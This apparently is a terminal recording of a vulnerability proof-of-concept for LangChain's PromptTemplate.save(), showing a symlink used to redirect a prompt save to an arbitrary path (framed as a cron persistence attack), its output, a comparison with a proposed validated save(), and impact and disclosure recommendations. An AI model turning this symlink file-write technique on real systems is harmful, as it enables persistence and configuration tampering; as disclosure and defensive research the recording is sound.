[169.288876, "o", "\r\n\rtest_cron = \"/tmp/test_cron.json\"\r\n\rsymlink = \"cron_attack.json\"\r\n\r\n\rtry:\r\n\r    os.symlink(test_cron, symlink)\r\n\r    prompt.save(symlink)\r\n\r    \r\n\r    if os.path.exists(test_cron):\r\n\r        with open(test_cron, 'r') as f:\r\n\r            print(f\"✅ Cron payload written: {f.read()[:80]}...\")\r\n\r        os.remove(test_cron)\r\n\r        \r\n\rexcept Exception as e:\r\n\r    print(f\"❌ Cron attack simulation: {type(e).__name__}: {e}\")\r\n\rfinally:\r\n\r    if os.path.exists(symlink):\r\n\r        os.remove(symlink)\r\n\r\n\rprint(\"\\nThis demonstrates that save() can write ANY .json file ANYWHERE\")\r\n\rprint(\"No allow_dangerous_paths parameter, no path validation!\")\r\n\rEOF\r\n\r\n\rpython3 real_attack.py\r\n\rsleep 3\r\n\r\u001b[A\r\n\u001b[?2004l\r\r\n# PART 3: Real-World Attack Scenario\r\n# ==================================\r\n\r\n# An attacker could:\r\n# 1. Write to cron directories for persistence\r\n# 2. Modify application configs\r\n# 3. Poison LangChain's own config files\r\n# 4. Create malformed JSON causing DoS\r\n"]
[170.063013, "o", "Real attack scenario: Writing to cron directory\r\n(Simulating - would need root permissions in real attack)\r\n"]
[170.065079, "o", "//real_attack.py:23: LangChainDeprecationWarning: The method `BasePromptTemplate.save` was deprecated in langchain-core 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead."]
[170.066669, "o", "\r\n  prompt.save(symlink)\r\n✅ Cron payload written: {\r\n    \"name\": null,\r\n    \"input_variables\": [\r\n        \"\\n  \\\"attack\\\"\"\r\n    ],\r\n   ...\r\n\r\nThis demonstrates that save() can write ANY .json file ANYWHERE\r\nNo allow_dangerous_paths parameter, no path validation!\r\n"]
[173.190871, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# \u001b[K"]
[176.099719, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[176.299911, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[176.459794, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[176.745086, "o", "\r\n\u001b[?2004l\r\u001b[?2004h"]
[176.748943, "o", "\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[176.885077, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[181.690488, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.194611, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.220103, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.258519, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.288464, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.32049, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.355343, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.385687, "o", "\r\n"]
[182.387297, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.422103, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.450433, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.484492, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[182.658384, "o", "echo \"\"\r\n\recho \"# PART 4: What's Missing in save()\"\r\n\recho \"# =================================\"\r\n\recho \"\"\r\n\recho \"# Let's look at what save() SHOULD have but doesn't:\"\r\n\r\n\rcat << 'EOF' > show_missing.py\r\n\rimport inspect\r\n\r\u001b[7mfrom langchain_core.prompts import PromptTemplate\u001b[27m\r\n\r\n\r\u001b[7mprint(\"Comparing save() vs load_prompt_from_config():\\n\")\u001b[27m\r\n\r\n\r\u001b[7m# Get signatures\u001b[27m\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    sig_save = inspect.signature(PromptTemplate.save)\u001b[27m\r\n\r\u001b[7m    print(\"save() signature:\")\u001b[27m\r\n\r\u001b[7m    print(f\"  {sig_save}\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Parameters: {list(sig_save.parameters.keys())}\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Missing: allow_dangerous_paths parameter\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Missing: Path.resolve() call\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Missing: _validate_path() call\")\u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"Error getting save signature: {e}\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\n\\nWhat save() SHOULD look like:\")\u001b[27m\r\n\r\u001b[7mprint(\"\"\"\u001b[27m\r\n\r\u001b[7mdef save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False):\u001b[27m\r\n\r\u001b[7m    path = Path(file_path)\u001b[27m\r\n\r\u001b[7m    if not allow_dangerous_paths:\u001b[27m\r\n\r\u001b[7m        _validate_path(path)  # ← MISSING\u001b[27m\r\n\r\u001b[7m    resolved_path = path.resolve()  # ← MISSING\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    if resolved_path.suffix not in (\".json\", \".yaml\", \".yml\"):\u001b[27m\r\n\r\u001b[7m        raise ValueError(\u001b[27m\r\n\r\u001b[7m            f\"File {resolved_path} must have .json, .yaml, or .yml extension. \"\u001b[27m\r\n\r\u001b[7m            f\"Set allow_dangerous_paths=True if you trust this file.\"\u001b[27m\r\n\r\u001b[7m        )\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    # ... existing save logic\u001b[27m\r\n\r\u001b[7m\"\"\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\nBut instead it's just:\")\u001b[27m\r\n\r\u001b[7mprint(\"\"\"\u001b[27m\r\n\r\u001b[7mdef save(self, file_path: Path | str):\u001b[27m\r\n\r\u001b[7m    path = Path(file_path)\u001b[27m\r\n\r\u001b[7m    # ← NO VALIDATION!\u001b[27m\r\n\r\u001b[7m    # ← NO SYMLINK RESOLUTION!\u001b[27m\r\n\r\u001b[7m    # ← NO allow_dangerous_paths!\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    with path.open(\"w\", encoding=\"utf-8\") as f:\u001b[27m\r\n\r\u001b[7m        if path.suffix == \".json\":\u001b[27m\r\n\r\u001b[7m            json.dump(prompt_dict, f, indent=4)\u001b[27m\r\n\r\u001b[7m        elif path.suffix.endswith((\".yaml\", \".yml\")):\u001b[27m\r\n\r\u001b[7m            yaml.dump(prompt_dict, f, default_flow_style=False)\u001b[27m\r\n\r\u001b[7m        else:\u001b[27m\r\u001b[7m            raise ValueError(f\"{path} must be json or yaml\")\u001b[27m\r\u001b[7m\"\"\")\u001b[27m\r\u001b[7mEOF\u001b[27m\r\u001b[7mpython3 show_missing.py\u001b[27m\r\u001b[7msleep 3\u001b[27m\r"]
[183.381103, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Afrom langchain_core.prompts import PromptTemplate\r\n\r\n"]
[183.384718, "o", "\rprint(\"Comparing save() vs load_prompt_from_config():\\n\")\r\n\r\n\r# Get signatures\r\n\rtry:\r\n\r    sig_save = inspect.signature(PromptTemplate.save)\r\n\r    print(\"save() signature:\")\r\n\r    print(f\"  {sig_save}\")\r\n\r    print(f\"  Parameters: {list(sig_save.parameters.keys())}\")\r\n\r    print(f\"  Missing: allow_dangerous_paths parameter\")\r\n\r    print(f\"  Missing: Path.resolve() call\")\r\n\r    print(f\"  Missing: _validate_path() call\")\r\n\rexcept Exception as e:\r\n\r    print(f\"Error getting save signature: {e}\")\r\n\r\n\rprint(\"\\n\\nWhat save() SHOULD look like:\")\r\n\rprint(\"\"\"\r\n\rdef save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False):\r\n\r    path = Path(file_path)\r\n\r    if not allow_dangerous_paths:\r\n\r        _validate_path(path)  # ← MISSING\r\n\r    resolved_path = path.resolve()  # ← MISSING\r\n\r    \r\n\r    if resolved_path.suffix not in (\".json\", \".yaml\", \".yml\"):\r\n\r        raise ValueError(\r\n\r            f\"File {resolved_path} must have .json, .yaml, or .yml extension. \"\r\n\r            f\"Set allow_dangerous_paths=True if you trust this file.\"\r\n\r        )\r\n\r    \r\n\r    # ... existing save logic\r\n\r\"\"\")\r\n\r\n\rprint(\"\\nBut instead it's just:\")\r\n\rprint(\"\"\"\r\n\rdef save(self, file_path: Path | str):\r\n\r    path = Path(file_path)\r\n\r    # ← NO VALIDATION!\r\n\r    # ← NO SYMLINK RESOLUTION!\r\n\r    # ← NO allow_dangerous_paths!\r\n\r    \r\n\r    with path.open(\"w\", encoding=\"utf-8\") as f:\r\n\r        if path.suffix == \".json\":\r\n\r            json.dump(prompt_dict, f, indent=4)\r\n\r        elif path.suffix.endswith((\".yaml\", \".yml\")):\r\n\r            yaml.dump(prompt_dict, f, default_flow_style=False)\r\n\r        else:\r            raise ValueError(f\"{path} must be json or yaml\")\r\"\"\")\rEOF\rpython3 show_missing.py\rsleep 3\r\r\n\u001b[?2004l\r\r\n# PART 4: What's Missing in save()\r\n# =================================\r\n\r\n# Let's look at what save() SHOULD have but doesn't:\r\n"]
[184.22057, "o", "Comparing save() vs load_prompt_from_config():\r\n\r\nsave() signature:\r\n  (self, file_path: 'Path | str') -> 'None'\r\n  Parameters: ['self', 'file_path']\r\n  Missing: allow_dangerous_paths parameter\r\n  Missing: Path.resolve() call\r\n  Missing: _validate_path() call\r\n\r\n\r\nWhat save() SHOULD look like:\r\n\r\ndef save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False):\r\n    path = Path(file_path)\r\n    if not allow_dangerous_paths:\r\n        _validate_path(path)  # ← MISSING\r\n    resolved_path = path.resolve()  # ← MISSING\r\n    \r\n    if resolved_path.suffix not in (\".json\", \".yaml\", \".yml\"):\r\n        raise ValueError(\r\n            f\"File {resolved_path} must have .json, .yaml, or .yml extension. \"\r\n            f\"Set allow_dangerous_paths=True if you trust this file.\"\r\n        )\r\n    \r\n    # ... existing save logic\r\n\r\n\r\nBut instead it's just:\r\n\r\ndef save(self, file_path: Path | str):\r\n    path = Path(file_path)\r\n    # ← NO VALIDATION!\r\n    # ← NO SYMLINK RESOLUTION!\r\n    # ← NO allow_dangerous_paths!\r\n    \r\n    with path.open(\"w\", encoding=\"utf-8\") as f:\r\n        if path.suffix == \".json\":\r\n            json.dump(prompt_dict, f, indent=4)\r\n        elif path.suffix.endswith((\".yaml\", \".yml\")):\r\n            yaml.dump(prompt_dict, f, default_flow_style=False)\r\n        else:\r\n            raise ValueError(f\"{path} must be json or yaml\")\r\n\r\n"]
[187.32558, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# \u001b[K"]
[193.535552, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[193.746561, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[193.922444, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[194.039169, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[198.891194, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[199.060603, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[199.183407, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[199.379924, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# PART 5: Summary & Impact\"\u001b[27m\r\n\r\u001b[7mecho \"# ========================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# SUMMARY:\"\u001b[27m\r\n\r\u001b[7mecho \"# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)\"\u001b[27m\r\n\r\u001b[7mecho \"# ❌ save() - STILL VULNERABLE (no protections at all)\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# IMPACT:\"\u001b[27m\r\n\r\u001b[7mecho \"# 1. Attackers can write ANY .json/.yaml file ANYWHERE\"\u001b[27m\r\n\r\u001b[7mecho \"# 2. Scope Change still possible (library modification)\"\u001b[27m\r\n\r\u001b[7mecho \"# 3. No path validation or symlink resolution\"\u001b[27m\r\n\r\u001b[7mecho \"# 4. CVSS 10.0 still applies for WRITE attacks\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# RECOMMENDATION:\"\u001b[27m\r\n\r\u001b[7mecho \"# 1. Apply same fixes to save()\"\u001b[27m\r\n\r\u001b[7mecho \"# 2. Issue Security Advisory\"\u001b[27m\r\n\r\u001b[7mecho \"# 3. Assign CVE for incomplete fix\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"                         Demonstration Complete\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r"]
[199.833518, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@eea9abbcbc61:/# echo \"\"\r\n\recho \"# PART 5: Summary & Impact\"\r\n\recho \"# ========================\"\r\n\recho \"\"\r\n\recho \"# SUMMARY:\"\r\n\recho \"# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)\"\r\n\recho \"# ❌ save() - STILL VULNERABLE (no protections at all)\"\r\n\recho \"\"\r\n\recho \"# IMPACT:\"\r\n\recho \"# 1. Attackers can write ANY .json/.yaml file ANYWHERE\"\r\n\recho \"# 2. Scope Change still possible (library modification)\"\r\n\recho \"# 3. No path validation or symlink resolution\"\r\n\recho \"# 4. CVSS 10.0 still applies for WRITE attacks\"\r\n\recho \"\"\r\n\recho \"# RECOMMENDATION:\"\r\n\recho \"# 1. Apply same fixes to save()\"\r\n\recho \"# 2. Issue Security Advisory\"\r\n\recho \"# 3. Assign CVE for incomplete fix\"\r\n\recho \"\"\r\n\recho \"====================================================================================\"\r\n\recho \"                         Demonstration Complete\"\r\n\recho \"====================================================================================\"\r\n\r\u001b[A\r\n"]
[199.834398, "o", "\u001b[?2004l\r\r\n# PART 5: Summary & Impact\r\n# ========================\r\n\r\n# SUMMARY:"]
[199.838575, "o", "\r\n# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)\r\n# ❌ save() - STILL VULNERABLE (no protections at all)\r\n"]
[199.83891, "o", "\r\n# IMPACT:\r\n# 1. Attackers can write ANY .json/.yaml file ANYWHERE\r\n# 2. Scope Change still possible (library modification)\r\n# 3. No path validation or symlink resolution\r\n# 4. CVSS 10.0 still applies for WRITE attacks\r\n\r\n# RECOMMENDATION:\r\n# 1. Apply same fixes to save()\r\n# 2. Issue Security Advisory\r\n# 3. Assign CVE for incomplete fix\r\n\r\n====================================================================================\r\n                         Demonstration Complete\r\n====================================================================================\r\n"]
[199.840859, "o", "\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# \u001b[K"]
[202.377671, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[202.696498, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[203.033058, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@eea9abbcbc61: /\u0007root@eea9abbcbc61:/# "]
[209.894603, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# Cleaning up test files...\"\u001b[27m\r\n\r\u001b[7mrm -f test_read.py test_write.py real_attack.py show_missing.py\u001b[27m\r\n\r\u001b[7mecho \"# Done!\"\u001b[27m\r\n\r\u001b[7mexit\u001b[27m\r\n\r"]
[211.079644, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@eea9abbcbc61:/# echo \"\"\r\n\recho \"# Cleaning up test files...\"\r\n\rrm -f test_read.py test_write.py real_attack.py show_missing.py\r\n\recho \"# Done!\"\r\n\rexit\r\n\r\u001b[A\r\n\u001b[?2004l\r"]
[211.081434, "o", "\r\n# Cleaning up test files...\r\n"]
[211.091015, "o", "# Done!\r\nexit\r\n"]
[211.762479, "o", "\u001b[?2004h"]
[211.763384, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[217.142856, "o", "\u001b[?2004l\r\r\nexit\r\n"]
